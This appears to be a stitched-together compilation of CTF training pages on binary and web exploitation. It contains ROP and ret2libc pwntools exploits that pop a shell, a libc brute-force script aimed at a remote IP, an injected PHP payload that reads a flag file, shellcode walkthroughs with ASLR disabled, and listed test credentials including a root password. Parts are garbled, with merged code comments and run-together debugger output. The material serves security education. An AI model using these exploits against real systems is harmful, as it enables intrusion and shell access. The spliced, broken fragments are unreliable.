+ 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+ 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)
+ 0xffff0018: 0x1337beef // value we want in rsi
+ 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget
+RSP -> 0xffff0008: 0xdeadbeef // value to be popped into rdi
+
+pop rdi
is then executed, popping the top of the stack into RDI:
RIP = 0x400c02 (ret)
+RDI = 0xdeadbeef
+RSI = UNKNOWN
+
+ 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+ 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)
+ 0xffff0018: 0x1337beef // value we want in rsi
+RSP -> 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget
+
+The RDI gadget then ret
s into our RSI gadget:
RIP = 0x400c03 (pop rsi)
+RDI = 0xdeadbeef
+RSI = UNKNOWN
+
+ 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+ 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)
+RSP -> 0xffff0018: 0x1337beef // value we want in rsi
+
+RSI and R15 are popped:
+RIP = 0x400c05 (ret)
+RDI = 0xdeadbeef
+RSI = 0x1337beef
+
+RSP -> 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled
+
+And finally, the RSI gadget ret
s, jumping to whatever function we want, but now with RDI and RSI set to values we control.
The objective is to call the syscall (execv) from a ROP controlling the value of registries: RDI, RSI, RDX, RAX and obviously the RIP (the other ones doesn't matters), and controlling somewhere to write "/bin/sh"
+ROPgadget --binary vulnbinary | grep syscall
+ROPgadget --binary vulnbinary | grep "rdi\|rsi\|rdx\|rax" | grep pop
+
+If you can somehow write to an address and then get the address of where you have written then this step is unnecessary.
+Elsewhere, you may search for some write-what-where.
+As is explained in this tutorial: https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/ you have to find something that allows you to save some value inside a registry and then save it to some controlled address inside another registry. For example some pop eax; ret
, pop edx: ret
, mov eax, [edx]
You can find mov gadgets doing: ROPgadget --binary vulnbinary | grep mov
If you have found some write-what-where and can control the needed registries to call execv, there is only left finding a place to write.
+objdump -x vulnbinary | grep ".bss" -B1
+ CONTENTS, ALLOC, LOAD, DATA
+ 23 .bss 00000010 00403418 00403418 00002418 23
+
+In this case: 0x403418
+buffer += address(pop_eax) # place value into EAX
+buffer += "/bin" # 4 bytes at a time
+buffer += address(pop_edx) # place value into edx
+buffer += address(writable_memory)
+buffer += address(writewhatwhere)
+
+buffer += address(pop_eax)
+buffer += "//sh"
+buffer += address(pop_edx)
+buffer += address(writable_memory + 4)
+buffer += address(writewhatwhere)
+
+This tutorial is going to exploit the code/binary proposed in this tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ +Another useful tutorial: https://made0x78.com/bseries-ret2libc/
+Filename: vuln.c
#include <stdio.h>
+
+int main() {
+ char buffer[32];
+ puts("Simple ROP.\n");
+ gets(buffer);
+
+ return 0;
+}
+gcc -o vuln vuln.c -fno-stack-protector -no-pie
+
+Find my ROP-PWNtools template here. I'm going to use the code located there to make the exploit. +Download the exploit and place it in the same directory as the vulnerable binary.
+The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default OFFSET = ""
):
####################
+#### Find offset ###
+####################
+OFFSET = ""#"A"*72
+if OFFSET == "":
+ gdb.attach(p.pid, "c") #Attach and continue
+ payload = cyclic(1000)
+ print(r.clean())
+ r.sendline(payload)
+ #x/wx $rsp -- Search for bytes that crashed the application
+ #cyclic_find(0x6161616b) # Find the offset of those bytes
+ return
+
+Execute python template.py
a GDB console will be opened with the program being crashed. Inside that GDB console execute x/wx $rsp
to get the bytes that were going to overwrite the RIP. Finally get the offset using a python console:
from pwn import *
+cyclic_find(0x6161616b)
+
+
+After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.
+OFFSET = "A" * 40
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call puts
to find the libc being used, and later to launch the final exploit.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
+MAIN_PLT = elf.symbols['main']
+POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
+RET = (rop.find_gadget(['ret']))[0]
+
+log.info("Main start: " + hex(MAIN_PLT))
+log.info("Puts plt: " + hex(PUTS_PLT))
+log.info("pop rdi; ret gadget: " + hex(POP_RDI))
+
+The PUTS_PLT
is needed to call the function puts.
+The MAIN_PLT
is needed to call the main function again after one interaction to exploit the overflow again (infinite rounds of exploitation).It is used at the end of each ROP.
+The POP_RDI is needed to pass a parameter to the called function.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
+Now is time to find which version of the libc library is being used. To do so we are going to leak the address in memory of the function puts
and then we are going to search in which library version the puts version is in that address.
def get_addr(func_name):
+ FUNC_GOT = elf.got[func_name]
+ log.info(func_name + " GOT @ " + hex(FUNC_GOT))
+ # Create rop chain
+ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+
+ #Send our rop-chain payload
+ #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
+ print(p.clean()) # clean socket buffer (read all and print)
+ p.sendline(rop1)
+
+ #Parse leaked address
+ recieved = p.recvline().strip()
+ leak = u64(recieved.ljust(8, "\x00"))
+ log.info("Leaked libc address, "+func_name+": "+ hex(leak))
+ #If not libc yet, stop here
+ if libc != "":
+ libc.address = leak - libc.symbols[func_name] #Save libc base
+ log.info("libc base @ %s" % hex(libc.address))
+
+ return hex(leak)
+
+get_addr("puts") #Search for puts address in memmory to obtains libc base
+if libc == "":
+ print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
+ p.interactive()
+
+To do so, the most important line of the executed code is:
+rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+
+This will send some bytes util overwriting the RIP is possible: OFFSET
.
+Then, it will set the address of the gadget POP_RDI
so the next address (FUNC_GOT
) will be saved in the RDI registry. This is because we want to call puts passing it the address of the PUTS_GOT
as the address in memory of puts function is saved in the address pointing by PUTS_GOT
.
+After that, PUTS_PLT
will be called (with PUTS_GOT
inside the RDI) so puts will read the content inside PUTS_GOT
(the address of puts function in memory) and will print it out.
+Finally, main function is called again so we can exploit the overflow again.
This way we have tricked puts function to print out the address in memory of the function puts (which is inside libc library). Now that we have that address we can search which libc version is being used.
+ +As we are exploiting some local binary it is not needed to figure out which version of libc is being used (just find the library in /lib/x86_64-linux-gnu/libc.so.6
).
+But, in a remote exploit case I will explain here how can you find it:
You can search which library is being used in the web page: https://libc.blukat.me/ +It will also allow you to download the discovered version of libc
+ +You can also do:
+$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
This will take some time, be patient. +For this to work we need:
+puts
0x7ff629878690
We can figure out which libc that is most likely used.
+./find puts 0x7ff629878690
+ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
+archive-glibc (id libc6_2.23-0ubuntu11_amd64)
+
+We get 2 matches (you should try the second one if the first one is not working). Download the first one:
+./download libc6_2.23-0ubuntu10_amd64
+Getting libc6_2.23-0ubuntu10_amd64
+ -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
+ -> Downloading package
+ -> Extracting package
+ -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
+
+Copy the libc from libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
to our working directory.
puts
+printf
+__libc_start_main
+read
+gets
+
+At this point we should know the libc library used. As we are exploiting a local binary I will use just:/lib/x86_64-linux-gnu/libc.so.6
So, at the begging of template.py
change the libc variable to: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
Giving the path to the libc library the rest of the exploit is going to be automatically calculated.
+Inside the get_addr
function the base address of libc is going to be calculated:
if libc != "":
+ libc.address = leak - libc.symbols[func_name] #Save libc base
+ log.info("libc base @ %s" % hex(libc.address))
+
+Then, the address to the function system
and the address to the string "/bin/sh" are going to be calculated from the base address of libc and given the libc library.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
+SYSTEM = libc.sym["system"]
+EXIT = libc.sym["exit"]
+
+log.info("bin/sh %s " % hex(BINSH))
+log.info("system %s " % hex(SYSTEM))
+
+Finally, the /bin/sh execution exploit is going to be prepared sent:
+rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
+
+p.clean()
+p.sendline(rop2)
+
+##### Interact with the shell #####
+p.interactive() #Interact with the conenction
+
+Let's explain this final ROP.
+The last ROP (rop1
) ended calling again the main function, then we can exploit again the overflow (that's why the OFFSET
is here again). Then, we want to call POP_RDI
pointing to the addres of "/bin/sh" (BINSH
) and call system function (SYSTEM
) because the address of "/bin/sh" will be passed as a parameter.
+Finally, the address of exit function is called so the process exists nicely and any alert is generated.
This way the exploit will execute a /bin/sh shell.
+ +You could also use ONE_GADGET to obtain a shell instead of using system and "/bin/sh". ONE_GADGET will find inside the libc library some way to obtain a shell using just one ROP.
+However, normally there are some constrains, the most common ones and easy to avoid are like [rsp+0x30] == NULL
As you control the values inside the RSP you just have to send some more NULL values so the constrain is avoided.
ONE_GADGET = libc.address + 0x4526a
+rop2 = base + p64(ONE_GADGET) + "\x00"*100
+
+You can find a template to exploit this vulnerability here:
+ +If the "main" symbol does not exist. Then you can just where is the main code:
+objdump -d vuln_binary | grep "\.text"
+Disassembly of section .text:
+0000000000401080 <.text>:
+
+and set the address manually:
+MAIN_PLT = 0x401080
+
+If the binary is not using Puts you should check if it is using
+sh: 1: %s%s%s%s%s%s%s%s: not found
If you find this error after creating all the exploit: sh: 1: %s%s%s%s%s%s%s%s: not found
Try to subtract 64 bytes to the address of "/bin/sh":
+BINSH = next(libc.search("/bin/sh")) - 64
+
+If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.
+ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
+
+If you want to check if the ASLR is changing the address of libc you can do:
+for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
+
+readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
+
+strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
+
+If the process is creating children every time you talk with it (network server) try to read that file (probably you will need to be root).
+Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.
+ +In this case it is loaded in 0xb75dc000 (This will be the base address of libc)
+Get address of system function, of exit function and of the string "/bin/sh" using gdb-peda:
+p system
+p exit
+find "/bin/sh"
+
+You can try to bruteforce the abse address of libc.
+for off in range(0xb7000000, 0xb8000000, 0x1000):
+
+from pwn import *
+
+c = remote('192.168.85.181',20002)
+c.recvline() #Banner
+
+for off in range(0xb7000000, 0xb8000000, 0x1000):
+ p = ""
+ p += p32(off + 0x0003cb20) #system
+ p += "CCCC" #GARBAGE
+ p += p32(off + 0x001388da) #/bin/sh
+ payload = 'A'*0x20010 + p
+ c.send(payload)
+ c.interactive() #?
+
+Challenge is from https://ropemporium.com/challenge/ret2win.html
+If you are interested in the ROP exploit, please take a look at ROP Emporium.
+Locate a method that you want to call within the binary. Call it by overwriting a saved return address on the stack.
+nc 103.102.44.218 10001
Download binary x86_64 ELF: https://ropemporium.com/binary/ret2win.zip
+Hint: check the LET'S DO THIS part of original challenge.
+We know that we are going to have a AWD CTF next week. Make sure you have access to the test AWD environment. Check the demo challenge and try to hack it to get a flag.
+Browser the page http://103.102.44.218:23333/
in your browser, login with some test account below:
Account:TEST1 Password:YpkyiQDwGHLjoOk3
+Account:TEST2 Password:pQXBpiFPlNBB6TUt
+Account:TEST3 Password:cUMvgNGCb64E4uLv
+Account:TEST4 Password:RQGqtTfK6601c7qY
+Account:TEST5 Password:SVtm4Pd3vtAaeQvZ
+Account:TEST6 Password:lNTrEnx586taV8Ow
+Account:TEST7 Password:wXxFkOsGcpb1XsIo
+Account:TEST8 Password:AhcNEZpaBWAm3Jst
+Account:TEST9 Password:lxqzbu9tjkshQ0oB
+Account:TEST10 Password:bRewQknqeY3yrZCc
+
+The flag file is located in /var/flag/flag.txt
. The application files are under /app
. You have the permission to read and modify the application files.
During the AWD CTF, you can only access ctf
user. Here's the account information:
IP address: 103.102.44.218
+Service port: 20000-20009
+SSH port: 30000-30009
+Username: ctf
+Password: 123456
+
+Further, only for testing, you have the root password:
+Username: root
+Password: rootpassword
+
+Please DO NOT change the password of the users during testing.
+In this challenge, you should post those screenshots in your writeup:
+ In the browser: http://103.102.44.218:2000x/
ctf
. In the terminal: ssh ctf@103.102.44.218 -p 3000x
In the ssh session: cat /var/flag/flag.txt
Hope you enjoy the AWD.
+Q&As:
+
+Q: How to modify the file on the server?
+A: Use scp command to transfer files through network. Download the file to you local machine and modify, after that then push the file to the server.
+For example:
+scp -P 30000 ctf@103.102.44.218:/app/index.php ./
+<modify>
+scp -P 30000 ./index.php ctf@103.102.44.218:/app/index.php
+
+Q: Can I install software on the server (vim for example)?
+A: You can't install software through apt. But if you have other methods, they're allowed.
+
+Q: Can I delete flag.txt after I read it?
+A: You can't. Only root can modify flag.txt.
+
+
+
+
+
+
+
+
+
+ An Attack/Defense Capture the Flag is a type of cybersecurity competition where competing teams attempt to find security vulnerabilities in services run by the opposing teams. Each team works finding vulnerabilities in other team’s services while protecting their own, hence “attack/defense”.
+ +(image from CTF.zone)
+All teams are given an image to host on servers, usually a Linux distribution with code for several services that the game creators made. For example, in this year’s saarCTF, there were some simple websites for food reviews and calendar events hosted on a linux server. All teams get the same images, so if you find a vulnerability in your server, you can use it to attack other teams’.
+When the competition starts, you gain access to the servers and can start reading the code and looking for vulnerabilities. The game admins will use your service (programmatically) as normal users and place “flags” for other teams to steal if they find vulnerabilities. For example, they might create private events in the calendar app mentioned earlier, and the flags would be in the details of the event.
+Vulnerabilities are generally intentionally placed, though sometimes game creators make mistakes and there are extra unintentional attack paths. Competitions tend to have a range of easy to more complicated exploits.
+A simple exploit might be finding that the view_calendar_event
function takes in a uid from the request, and doesn’t validate that this is the same user as the logged in user. A more complicated exploit could involve a buffer overflow leading to a remote code execution. There’s also been exploits using less traditional methods, like adversarial machine learning: fausecteam/faustctf-2018-jodlgang.
After finding a vulnerability, the next step is to build a script to exploit it on other teams’ servers and patch the issue on your own server. Points are determined based on how many opposing teams you’re able to steal flags from and how many flags you successfully prevent other teams from stealing.
+Competition start time: 2021-12-13 21:00
+Competition end time: 2021-12-16 21:00
+Time per round: 5 minutes (864 rounds in total)
+Score per round: 50
+Challenges:
+Base score per challenge: 1000
+Total teams: 50
+Flag location: /var/flag.txt
SSH user: ctf
SSH default password: 123456
The AWD CTF has 5 challenges in total. Involving 4 web and 1 pwn.
+This challenge is simple PHP script:
+ +The script requires one parameter called str
, and gives out the length of the string.
For example, a valid request might be:
+http://ip:port/?str=some_example_string
+
+The page would response the following text:
+some_example_string length is 19
+
+The website is written in PHP.
+The calculator has only 1 function: to calculate the input equation of user.
+ +An example input of 2*3
would result in 6
.
This challenge doesn't offer any source code.
+However, you can modify the binary ELF file with any hex editor or de-compiler.
+First of all, we are given 5 choices:
+1.register
+2.login
+3.reset passwd
+4.play game
+5.logout
+Your choice:
+
+We need to register and then login. After that, we can play this game.
+By choosing 4, the game begins:
+1.name your city
+2.rename your city
+3.manage your shop
+4.manage your army
+5.show your city
+6.battle
+7.back
+Your choice:
+
+We can name cities, manage shops, and manage army. After everything is done, we would like to battle.
+However, the game is too difficult. Most of the time, we only have the bad ending.
+This web app allows us to manipulate the images.
+ +We can upload a file and modify those information:
+1. width and height
+2. crop the image
+3. rotate the image
+4. flip
+5. mirror
+6. grayscale
+7. sepia
+
+Let's take a look at the source code.
+In the /usr/bin/gs
file is the ghostscript
. Ghostscript is an interpreter for PostScript Portable Document Format (PDF) files.
app
+├── App.php
+├── Driver
+│ ├── Base.php
+│ ├── Convert.php
+│ ├── Image.php
+│ └── index.html
+├── Template
+│ ├── index.html
+│ └── main.html
+├── assets
+│ ├── index.html
+│ └── main.css
+├── inc.php
+└── index.php
+
+Under the app
folder is the main structure of the website. The website is written by PHP. An index.php
hooks all the files to work together.
inc.php
: defines some folder location.
App.php
: main logic of the website. Sends all requests to target file.
assets
: static pages.
Template
: static web html style.
Driver
: you should look at files under this folder and find out the vulnerabilities.
Blog is a fully functional blog website with all pages you need.
+The website contains a database of MySQL on 3306. And based on the zblog template.
+Blog has a CMS and you should check out the installation first.
+ +Let's look at the source code.
+src
+├── feed.php
+├── index.php
+├── search.php
+├── zb_install
+├── zb_system
+└── zb_users
+
+There are 3 major folders under the source code.
+Firstly, zb_install
takes all the installation options and instructions to setup a website.
ab_system
is the main function of the website admin panel.
zb_users
takes all user functions.
HTTP
, which means it's possible to analyze network traffic of others.Before the AWD CTF, you should check the following list:
+curl -X POST http://www.compass.college/api/flag -H "Authorization: <token>" -d "{ \"flag\": \"your_flag_here\" }"
+
+GitHub repo of an example flag submitter:
+https://github.com/0xaww/awd-submit-flag
+ +Using manual exploit is not efficient. By using automate script to exploit and submit the flag.
+An example exploit script of a SSTI vulnerability looks like:
+import requests
+url = ""
+data = {
+ "method": "__construct",
+ "filter[]": "assert",
+ "method": "get",
+ "get[]": "die((new ReflectionFunction('syste'.'m'))->invoke('cat /var/flag.txt'))",
+}
+print(requests.post(url, data=data).text)
+
+The script can be configured to run every 5 minutes or using flag submitter to hook the exploit script.
+ + + + + + + + +According to the @CTF101: https://ctf101.org/
+Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.
+Common topics addressed by Binary Exploitation or 'pwn' challenges include:
+A buffer is any allocated space in memory where data (often user input) can be stored. For example, in the following C program name
would be considered a stack buffer:
#include <stdio.h>
+
+int main() {
+ char name[64] = {0};
+ read(0, name, 63);
+ printf("Hello %s", name);
+ return 0;
+}
+
+Buffers could also be global variables:
+#include <stdio.h>
+
+char name[64] = {0};
+
+int main() {
+ read(0, name, 63);
+ printf("Hello %s", name);
+ return 0;
+}
+
+Or dynamically allocated on the heap:
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+ char *name = malloc(64);
+ memset(name, 0, 64);
+ read(0, name, 63);
+ printf("Hello %s", name);
+ return 0;
+}
+
+Given that buffers commonly hold user input, mistakes when writing to them could result in attacker controlled data being written outside of the buffer's space.
+A stack is an abstract data type frequently used in computer science. It has a property that the Last item placed will be the first to be removed from it ( LIFO ) . Several options are defined on the stack , the most important ones are push
and pop
. push
add an element to the top of the stack , and pop
removes elements from the top .
/* The address of memory which is pointed by the Stack Pointer ( sp ) is the top of the stack */
+
+ ┌──────────────┐ <─ sp
+ └──────────────┘
+
+ : push 0x10 /* sp is incremented and the value is stored at that address */
+ ┌──────────────┐
+ │ 0x10 │
+ └──────────────┘ <─ sp
+
+ : push 0x20
+
+ ┌──────────────┐
+ │ 0x10 │
+ ├──────────────┤
+ │ 0x20 │
+ └──────────────┘ <─ sp
+
+ : pop var /* The value pointed by the sp is removed from the stack and sp is decremented */
+
+ ┌──────────────┐
+ │ 0x10 │
+ └──────────────┘ <─ sp
+
+Modern computers are designed with the need of high-level languages in mind. The most important technique for structuring programs introduced by high-level languages is the function. From one point of view, a function call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack.
+The stack is also used to allocate local variables , to pass parameters to the functions, and to store the information needed to return to caller function after the execution of the function gets over.
+The stack pointer is a special register which will always point to the top of the stack , in x86-32 bit this register is called esp
.The area allocated on the stack for a function is called it's stack frame . and the registers ebp
and esp
(in x86-32 bit system )are used to specify the boundaries of the stack frame . The ebp
will point to the staring of the stack frame of the current function and the esp
register will point to the bottom.
A Buffer Overflow is a vulnerability in which data can be written which exceeds the allocated space, allowing an attacker to overwrite other data.
+The simplest and most common buffer overflow is one where the buffer is on the stack. Let's look at an example.
+#include <stdio.h>
+
+int main() {
+ int secret = 0xdeadbeef;
+ char name[100] = {0};
+ read(0, name, 0x100);
+ if (secret == 0x1337) {
+ puts("Wow! Here's a secret.");
+ } else {
+ puts("I guess you're not cool enough to see my secret");
+ }
+}
+
+There's a tiny mistake in this program which will allow us to see the secret. name
is decimal 100 bytes, however we're reading in hex 100 bytes (=256 decimal bytes)! Let's see how we can use this to our advantage.
If the compiler chose to layout the stack like this:
+ 0xffff006c: 0xf7f7f7f7 // Saved EIP
+ 0xffff0068: 0xffff0100 // Saved EBP
+ 0xffff0064: 0xdeadbeef // secret
+...
+ 0xffff0004: 0x0
+ESP -> 0xffff0000: 0x0 // name
+
+let's look at what happens when we read in 0x100 bytes of 'A's.
+The first decimal 100 bytes are saved properly:
+ 0xffff006c: 0xf7f7f7f7 // Saved EIP
+ 0xffff0068: 0xffff0100 // Saved EBP
+ 0xffff0064: 0xdeadbeef // secret
+...
+ 0xffff0004: 0x41414141
+ESP -> 0xffff0000: 0x41414141 // name
+
+However when the 101st byte is read in, we see an issue:
+ 0xffff006c: 0xf7f7f7f7 // Saved EIP
+ 0xffff0068: 0xffff0100 // Saved EBP
+ 0xffff0064: 0xdeadbe41 // secret
+...
+ 0xffff0004: 0x41414141
+ESP -> 0xffff0000: 0x41414141 // name
+
+The least significant byte of secret
has been overwritten! If we follow the next 3 bytes to be read in, we'll see the entirety of secret
is "clobbered" with our 'A's
0xffff006c: 0xf7f7f7f7 // Saved EIP
+ 0xffff0068: 0xffff0100 // Saved EBP
+ 0xffff0064: 0x41414141 // secret
+...
+ 0xffff0004: 0x41414141
+ESP -> 0xffff0000: 0x41414141 // name
+
+The remaining 152 bytes would continue clobbering values up the stack.
+How can we use this to pass the seemingly impossible check in the original program? Well, if we carefully line up our input so that the bytes that overwrite secret
happen to be the bytes that represent 0x1337 in little-endian, we'll see the secret message.
A small Python one-liner will work nicely: python -c "print 'A'*100 + '\x31\x13\x00\x00'"
This will fill the name
buffer with 100 'A's, then overwrite secret
with the 32-bit little-endian encoding of 0x1337.
As discussed on the stack page, the instruction that the current function should jump to when it is done is also saved on the stack (denoted as "Saved EIP" in the above stack diagrams). If we can overwrite this, we can control where the program jumps after main
finishes running, giving us the ability to control what the program does entirely.
Usually, the end objective in binary exploitation is to get a shell (often called "popping a shell") on the remote computer. The shell provides us with an easy way to run anything we want on the target computer.
+Say there happens to be a nice function that does this defined somewhere else in the program that we normally can't get to:
+void give_shell() {
+ system("/bin/sh");
+}
+
+Well with our buffer overflow knowledge, now we can! All we have to do is overwrite the saved EIP on the stack to the address where give_shell
is. Then, when main returns, it will pop that address off of the stack and jump to it, running give_shell
, and giving us our shell.
Assuming give_shell
is at 0x08048fd0, we could use something like this: python -c "print 'A'*108 + '\xd0\x8f\x04\x08'"
We send 108 'A's to overwrite the 100 bytes that is allocated for name
, the 4 bytes for secret
, and the 4 bytes for the saved EBP. Then we simply send the little-endian form of give_shell
's address, and we would get a shell!
This idea is extended on in Return Oriented Programming.
+For example, we are given the following code in C language:
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+int main(int argc, char **argv)
+{
+ volatile int modified;
+ char buffer[64];
+
+ if(argc == 1) {
+ errx(1, "please specify an argument\n");
+ }
+
+ modified = 0;
+ strcpy(buffer, argv[1]);
+
+ if(modified == 0x61626364) {
+ printf("you have correctly got the variable to the right value\n");
+ } else {
+ printf("Try again, you got 0x%08x\n", modified);
+ }
+}
+
+So this code :
+creates a variable called “modified” and assigns a buffer of 64 chars to it.
+volatile int modified;
+char buffer[64];
+
+Checks if we supplied an argument or not.
+if(argc == 1) {
+ errx(1, "please specify an argument\n");
+}
+
+Sets the value of the “modified” variable into 0 , then it copies whatever we give it argv[1]
into the buffer of “modified”.
modified = 0;
+strcpy(buffer, argv[1]);
+
+Then it checks if the variable’s value is 0x61626364
or not
if(modified == 0x61626364) {
+ printf("you have correctly got the variable to the right value\n");
+ } else {
+ printf("Try again, you got 0x%08x\n", modified);
+ }
+
+So it’s similar to Stack0 except we need to set the value of the variable into a specific value which is 0x61626364
in this case. This is the hexadecimal value of “dcba” now keep in mind that when reading hex you read it from right to left not left to right. To slove this our input will be 64 chars then after that the value , let’s try it.
Let’s execute stack1
+ +We get please specify an argument so let’s enter anything.
+ + +We get try again you got 0x00000000 , Let’s try to change that by exceeding the buffer and entering any char for example “b”
+./stack1 `python -c "print ('A' * 64 + 'b')"`
+
+
+And we see that the value changed to 0x00000062 which is the hex value of “b” so our exploit is working, Let’s apply that.
+./stack1 `python -c "print ('A' * 64 + 'dcba')"`
+
+
+And we did it !
+But can we do it in another way ? instead of entering ASCII we can use the hex values and python will translate them.
+./stack1 `python -c "print('A' * 64 + '\x64\x63\x62\x61')"`
+
+
+In real exploits, it's not particularly likely that you will have a win()
function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.
Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!
+I promise you can trust me but you should never ever run shellcode without knowing what it does. Pwntools is safe and has almost all the shellcode you will ever need.
+The reason shellcode is successful is that Von Neumann architecture (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.
+ +ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomising certain aspects of memory (we will talk about it in much more detail later). This randomisation can make shellcode exploits like the one we're about to do more less reliable, so we'll be disabling it for now using this.
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+
+Again, you should never run commands if you don't know what they do
+Let's debug vuln()
using radare2
and work out where in memory the buffer starts; this is where we want to point the return pointer to.
$ r2 -d -A vuln
+[0xf7fd40b0]> s sym.unsafe ; pdf[...]; var int32_t var_134h @ ebp-0x134[...]
+
+This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets()
and find the exact address.
[0x08049172]> dcOverflow me<<Found me>> <== This was my inputhit breakpoint at: 80491a8[0x080491a8]> px @ ebp - 0x134- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0xffffcfb4 3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7 <<Found me>>....
+[...]
+
+It appears to be at 0xffffcfd4
; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).
Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.
+$ ragg2 -P 400 -r<copy this>
+$ r2 -d -A vuln[0xf7fd40b0]> dcOverflow me<<paste here>>[0x73424172]> wopO `dr eip`312
+
+The padding is 312 bytes.
+In order for the shellcode to be correct, we're going to set context.binary
to our binary; this grabs stuff like the arch, OS and bits and enables pwntools to provide us with working shellcode.
from pwn import *
+context.binary = ELF('./vuln')
+p = process()
+
+We can use just process()
because once context.binary
is set it is assumed to use that process
Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.
+payload = asm(shellcraft.sh()) # The shellcode
+payload = payload.ljust(312, b'A') # Padding
+payload += p32(0xffffcfb4) # Address of the Shellcode
+
+Yup, that's it. Now let's send it off and use p.interactive()
, which enables us to communicate to the shell.
log.info(p.clean())
+p.sendline(payload)
+p.interactive()
+
+If you're getting an EOFError
, print out the shellcode and try to find it in memory - the stack address may be wrong
$ python3 exploit.py
+[*] 'vuln'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX disabled
+ PIE: No PIE (0x8048000)
+ RWX: Has RWX segments
+[+] Starting local process 'vuln': pid 3606
+[*] Overflow me
+[*] Switching to interactive mode
+$ whoami
+ironstone
+$ ls
+exploit.py source.c vuln
+
+And it works! Awesome.
+from pwn import *
+context.binary = ELF('./vuln')
+p = process()
+payload = asm(shellcraft.sh())
+# The shellcodepayload = payload.ljust(312, b'A')
+# Paddingpayload += p32(0xffffcfb4)
+# Address of the Shellcode
+log.info(p.clean())
+p.sendline(payload)
+p.interactive()
+
+There are some online resources for shellcode. Sometimes the program runs input check that some characters are filtered. Using online database or pwntool's shellcode generator are both fine.
+Shellcode database: http://shell-storm.org/shellcode/
+According to the different CPU architecture and operating system, you may need different shellcode.
+After three days of staying up to finish deadline, you feel extremely tired. Wanna to buy some coffee, you step out room and walking to the store. Tired, exhausted, and thinking about the difficult challenge, without seeing the truck that rushing directly to you...
+When light appears, a goddess whos so beautiful standing in front of you, said, "Now, you are selected to re-born in the fantasy world."
+"Help us to fight dragon the world destroyer, and save this world plz!" Said the goddess. "You have ONE chance to make a vow, and I'll make it true."
+"By the way, if you put something that I can't handle, I'll give you a flag
!"
nc ali.infury.org 10001
Hack the goddess and find flag. Flag format: flag{***}
Because of the goddess got stuck when processing, so you finally didn't get any special power. After fighting for days, you reach the "end castle" and ready to terminate "dragon the destroyer" by yourself.
+"You, a mere human. How dare you to challenge me!" Said the dragon, who has indestructible scale and powerful skin that resists to all magic.
+"Only using the ancient legendary weapons that you can hurt me. However, those powers are unreachable and you can't assign value to them."
+"Now, what's your last word?"
+nc ali.infury.org 10002
Fight the dragon and find flag. Flag format: flag{***}
The dragon fell down into dust. You become the hero of the fantasy world. However, you still want to return home.
+"Only the God can leave this world." Said the wiser, "that dragon is the most powerful creature and the most close to the God. Maybe... Only maybe... There is only one way."
+"Grab the dragon's egg, use it to caste the most powerful wish magic. You have a chance to say something to the world tree."
